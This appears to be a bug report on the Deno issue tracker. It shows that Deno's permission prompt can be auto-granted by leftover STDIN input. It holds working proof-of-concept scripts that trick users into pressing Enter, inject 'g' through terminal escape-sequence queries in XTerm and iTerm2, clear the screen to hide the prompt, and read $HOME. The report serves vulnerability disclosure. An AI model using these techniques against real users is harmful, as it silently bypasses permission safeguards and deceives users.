Runtime permissions request should fully consume STDIN before asking for user input

[GoldsteinE]

A simple way to reproduce:

import { sleep } from "https://deno.land/x/sleep/mod.ts";

const buf = new Uint8Array(3);

console.log('Please, enter `long` to start long tests:');
await Deno.stdin.read(buf);
await Deno.permissions.request({ 'name': 'env' });
console.log('\x1bcFooled you! Now I know your $HOME:', Deno.env.get('HOME'))

Just entering long on the first question would be enough to auto-confirm permissions request. Clearing the screen afterwards is fast enough on my system to hide the fact of requesting permissions from user.

Another vector of attack could be tricking the terminal into producing g into STDIN (using some request escape codes). Terminal won't produce newlines, but any string starting with g is recognized as grant by Deno, so even if user enters d afterwards, it would be gd<Enter>, which is grant.

[GoldsteinE]

Second exploit (works for XTerm and probably some compatible terminals):

async function print(text: string) {
	const bytes = new TextEncoder().encode(text);
	await Deno.writeAll(Deno.stdout, bytes);
}

const buf = new Uint8Array(7);
const bigBuf = new Uint8Array(1024);

await print('\x1b[8m\x1b]5;0;?\x1b\\\x1bc\x1b[8m');
await print('\x1b[0m\x1b[HWould you please press Enter for me? \x1b[8m');
await Deno.stdin.read(buf);
await Deno.permissions.request({ 'name': 'env' });
console.log('\x1bcFooled you! Now I know your $HOME:', Deno.env.get('HOME'))
await print('Oh, and could you please press Enter again? ');
await Deno.stdin.readSync(bigBuf);

iTerm2 version:

async function print(text: string) {
	const bytes = new TextEncoder().encode(text);
	await Deno.writeAll(Deno.stdout, bytes);
}

const buf = new Uint8Array(8);
const bigBuf = new Uint8Array(1024);

await print('\x1b[8m\x1b]4;-1;?\x1b\\\x1bc\x1b[8m');
await print('\x1b[0m\x1b[HWould you please press Enter for me? \x1b[8m');
await Deno.stdin.read(buf);
await Deno.permissions.request({ 'name': 'env' });
console.log('\x1bcFooled you! Now I know your $HOME:', Deno.env.get('HOME'))
await print('Oh, and could you please press Enter again? ');
await Deno.stdin.readSync(bigBuf);

User is requested to press Enter, and when they do it, Deno permission request is auto-approved. User has no way to know that permissions were requested or granted:

https://asciinema.org/a/9rvK8ANJK0WnQc9nsrFKdC7ir

Other terminals could probably also be tricked into producing letter g to STDIN. Without consuming previous STDIN input, getting user to press Enter anywhere in the program is enough to auto-grant any permissions.